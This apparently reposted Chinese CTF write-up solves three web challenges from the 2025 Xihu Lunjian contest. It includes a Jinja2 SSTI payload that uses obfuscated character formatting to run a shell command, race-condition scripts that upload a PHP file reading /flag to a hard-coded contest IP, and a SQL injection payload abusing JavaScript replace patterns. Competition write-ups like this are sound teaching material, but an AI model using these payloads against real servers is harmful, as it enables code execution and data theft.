【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)

news2025/1/20 1:20:37

目录

Rank-l

Rank-U

sqli or not


Rank-l

username存在报错回显,发现可以打SSTI

本地起一个服务,折半查找fuzz黑名单,不断扔给fenjing去迭代改payload

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/input', methods=['GET', 'POST'])
def user_input():
    if request.method == 'POST':
        # 从POST请求的表单数据中获取用户输入
        user_input = request.form.get('user_input', '')

        # 检查输入中是否包含不允许的符号
        if any(char in user_input for char in ['+', '/', '*','"','\\','{%','%}','urlencode','mod']):
            return "输入中包含不允许的字符。", 400  # 返回错误信息

        # 如果输入不包含不允许的符号,使用render_template_string
        template = "<h1>用户输入的内容是:{
  
  { input }}</h1>"
        return render_template_string(template, input=user_input)
    
    # 如果是GET请求,显示一个表单
    return '''
        <form method="POST">
            <label for="user_input">请输入内容:</label>
            <input type="text" id="user_input" name="user_input">
            <button type="submit">提交</button>
        </form>
    '''

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=1338,debug=True)

 

payload:

{
  
  {cycler.next.__globals__.__builtins__.__import__('os').popen(lipsum['__glob''al''s__']['__builti''ns__']['chr'](37).__add__('c').__mul__(7)|format(116,97,99,32,47,102,42)).read()}}

Rank-U

burpsuite默认字典爆出密码(302的很多都可以登)

登进去是一个任意文件上传,上传后访问是404,文件被立刻删除

打条件竞争

import requests

while True:
    burp0_url = "http://139.155.126.78:30675/admin/index.php"  # 更新 URL
    burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}  # 更新 PHP 会话 ID
    
    burp0_data = (
        "------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
        "Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        "<?php echo file_get_contents('/flag');?>\r\n"  # 改为新代码
        "------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
    )
    
    # 发送 POST 请求,只保留 Cookie
    r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
    
    # 提取文件名并保存到本地文件
    try:
        filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
        with open('name.txt', 'w') as file:
            file.write(filename.strip())  # 使用 strip() 去除可能的换行符
    except IndexError:
        print("无法提取文件路径或文件上传失败")
import requests

url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'

while True:
    # 直接读取文件内容,去除换行符并逐行处理
    with open('name.txt', 'r') as file:
        for filename in file:
            shellpath = url0 + filename.strip()  # 使用 strip() 去除换行符

            # 发起 GET 请求
            r1 = requests.get(shellpath)

            # 如果状态码不是 404,输出状态码和响应文本
            if r1.status_code != 404:
                print(r1.status_code)
                print(r1.text)

第一个脚本多运行几个,同时用第二个脚本读到flag

sqli or not

逗号的绕过参考ctfshow web344

【Web】Ctfshow Nodejs刷题记录_ctfshowweb nodejs-CSDN博客

replace的绕过参考

String.prototype.replace() - JavaScript | MDN

引号被ban只要用前面自带的引号就行

本地搭一个服务查看替换后拼接的sql语句,发现成功闭合

var express = require('express');
var app = express(); // 使用 app 而不是 router 来启动服务
var router = express.Router();
module.exports = router;

app.use(router);

router.get('/', (req, res, next) => {
    if (req.query.info) {
        if (req.url.match(/\,/ig)) {
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);

        // 合并所有信息并一次性回显
        let responseContent = `Parsed info: ${JSON.stringify(info)}<br>`;

        if (info.username && info.password) {
            var username = info.username;
            var password = info.password;
            if (info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)) {
                responseContent += 'hacker2!<br>';
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}", username);
            sql = sql.replace("{password}", password);

            // 合并生成的 SQL 查询语句
            responseContent += `Generated SQL: ${sql}<br>`;
        } else {
            responseContent += "please input the data<br>";
        }

        // 一次性回显所有内容
        res.send(responseContent);
    } else {
        res.end("please input the data");
    }
});

// 指定端口启动服务器
const port = 4000;  // 设置端口为 4000
app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

 payload:

?info={"username":"$`+or+1=1--+"&info="password":"123456"}

打入,下载flag文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

索引(MySQL)

1. 没有索引&#xff0c;可能会有什么问题 索引&#xff1a;提高数据库的性能&#xff0c;索引是物美价廉的东西了。不用加内存&#xff0c;不用改程序&#xff0c;不用调sql&#xff0c;只要执行 正确的 create index &#xff0c;查询速度就可能提高成百上千倍。但是天下没有…

C#在Json序列化时将key和value转为对应的中文

在C#中&#xff0c;实体类可以通过System.Text.Json或Newtonsoft.Json库等方式直接序列化为json字符串&#xff0c;key为字段&#xff08;属性&#xff09;名&#xff0c;value为值。 上面的方式虽然实现简单&#xff0c;但是有个缺陷&#xff0c;就是转化后的json给外人展示时…

23- TIME-LLM: TIME SERIES FORECASTING BY REPRO- GRAMMING LARGE LANGUAGE MODELS

解决问题 用LLM来解决时序预测问题&#xff0c;并且能够将时序数据映射&#xff08;reprogramming&#xff09;为NLP token&#xff0c;并且保持backbone的大模型是不变的。解决了时序序列数据用于大模型训练数据稀疏性的问题。 方法 Input Embedding 输入&#xff1a; X …

使用 Java 开发 Android 应用:Kotlin 与 Java 的混合编程

使用 Java 开发 Android 应用&#xff1a;Kotlin 与 Java 的混合编程 在开发 Android 应用程序时&#xff0c;我们通常可以选择使用 Java 或 Kotlin 作为主要的编程语言。然而&#xff0c;有些开发者可能会想要在同一个项目中同时使用这两种语言&#xff0c;这就是所谓的混合编…

左神算法基础提升--4

文章目录 树形dp问题Morris遍历 树形dp问题 求解这个问题需要用到我们在基础班上学到的从节点的左子树和右子树上拿信息的方法。 求最大距离主要分为两种情况&#xff1a;1.当前节点参与最大距离的求解&#xff1b;2.当前节点不参与最大距离的求解&#xff1b; 1.当前节点参与最…

拆分工作簿转换PDF格式文件一步到位-Excel易用宝

今天一大早老板急匆匆的跑进办公室说&#xff0c;快快快&#xff0c;&#xff0c;快把这个工作簿中的工作表拆分出来&#xff0c;然后转换成PDF格式文件发给客户。 我一看这么多工作表&#xff0c;又是拆分表格&#xff0c;又是转换文件&#xff0c;这么复杂的工作&#xff0c…

SSM课设-学生管理系统

【课设者】SSM课设-学生管理系统 技术栈: 后端: SpringSpringMVCMybatisMySQLJSP 前端: HtmlCssJavaScriptEasyUIAjax 功能: 学生端: 登陆 学生信息管理 个人信息管理 老师端: 多了教师信息管理 管理员端: 多了班级信息管理 多了年级信息管理 多了系统用户管理

Python调用go语言编译的库

要在 Python 中调用用 Go 语言编写的库&#xff0c;可以使用 Go 语言的 cgo 特性将 Go 代码编译成共享库&#xff08;如 .so 文件&#xff09;&#xff0c;然后在 Python 中通过 ctypes 或 cffi 模块加载和调用这个共享库。 新建main.go文件&#xff0c;使用go语言编写如下代码…

JavaWeb简单开发

JavaWeb 开发是指基于 Java 技术栈进行 Web 应用开发的过程&#xff0c;主要依赖于 Java EE 或者 Spring 框架来构建服务器端应用。JavaWeb 的技术栈比较广泛&#xff0c;通常包括以下几个部分&#xff1a; 示例&#xff1a;简单的 JavaWeb 应用&#xff08;Spring Boot Thyme…

[Mac + Icarus Verilog + gtkwave] Mac运行Verilog及查看波形图

目录 1. MAC安装环境 1. 1 Icarus Verilog 编译 1. 2 gtkwave 查看波形 2. 安装遇到的问题 2. 1 macOS cannot verify that this app is free from malware 2. 2 gtkwave-bin is not compatible with macOS 14 or later 3. 运行示例 3. 1 源代码 3. 2 编译Verilog 3. 3 生成.v…

Phi小模型开发教程:用C#开发本地部署AI聊天工具,只需CPU,不需要GPU,3G内存就可以运行,不输GPT-3.5

大家好&#xff0c;我是编程乐趣。 行业诸多大佬一直在说&#xff1a;“‌2025年将是AI应用元年‌”&#xff0c;虽然说大佬的说法不一定对&#xff0c;但AI趋势肯定没错的。 对于我们程序员来说&#xff0c;储备AI应用开发技能&#xff0c;不管对找工作、接项目、创业肯定是…

物联网网关Web服务器--Boa服务器移植与测试

1、Boa服务器介绍 BOA 服务器是一个小巧高效的web服务器&#xff0c;是一个运行于unix或linux下的&#xff0c;支持CGI的、适合于嵌入式系统的单任务的http服务器&#xff0c;源代码开放、性能高。 Boa 嵌入式 web 服务器的官方网站是http://www.boa.org/。 特点 轻量级&#x…

Maven的多模块架构设计诺依的多模块

Maven的多模块架构设计 多模块架构设计&#xff0c;本文采用 诺依的多模块架构设计分析

.Net 6.0 .Net7.0 .Net8.0 .Net9.0 使用 Serilog 按日志等级写入日志及 appsetting.json 配置方式实现

前言 最近使用最新版的Serilog记录日志时&#xff0c;发现以前有些关于Serilog的Nuget弃用了&#xff0c;最关键的是有些配置写法也改变&#xff0c;于是就整理了一下最新版的Serilog配置方式(appsetting.json)的使用 说明&#xff1a;我是用的.Net6&#xff0c;最新长期支持…

数字化时代,传统代理模式的变革之路

在数字化飞速发展的今天&#xff0c;线上线下融合&#xff08;O2O&#xff09;成了商业领域的大趋势。这股潮流&#xff0c;正猛烈冲击着传统代理模式&#xff0c;给它带来了新的改变。 咱们先看看线上线下融合现在啥情况。线上渠道那是越来越多&#xff0c;企业纷纷在电商平台…

wireshark上没有显示出来rtp协议如何处理

分析》启用的协议 搜索rtp&#xff0c;勾选上rtp_udp即可。

edge浏览器恢复旧版滚动条

1、地址栏输入edge://flags 2、搜索Fluent scrollbars.&#xff0c;选择disabled&#xff0c;重启即可

使用 Java 和 FreeMarker 实现自动生成供货清单,动态生成 Word 文档,简化文档处理流程。

在上一篇博客中主要是使用SpringBootApache POI实现了BOM物料清单Excel表格导出&#xff0c;详见以下博客&#xff1a; Spring Boot Apache POI 实现 Exc&#xff08;&#xff09;el 导出&#xff1a;BOM物料清单生成器&#xff08;支持中文文件名、样式美化、数据合并&#…

二进制/源码编译安装mysql 8.0

二进制方式&#xff1a; 1.下载或上传安装包至设备&#xff1a; 2.创建组与用户&#xff1a; [rootopenEuler-1 ~]# groupadd mysql [rootopenEuler-1 ~]# useradd -r -g mysql -s /bin/false mysql 3.解压安装包&#xff1a; tar xf mysql-8.0.36-linux-glibc2.12-x86_64.ta…

VB.net实战(VSTO):解决WPS Ribbon图标灰色背景

问题&#xff1a;用VSTO制作插件&#xff0c;在MS Office中图标显示正常&#xff0c;但在WPS Office中图标显示为灰色背景 原因&#xff1a;使用的图标是纯透明背景的&#xff0c;这样的图标在WPS中会变为灰色背景。 以下这个解决办法是我自己摸索出来的&#xff0c;对您有用的…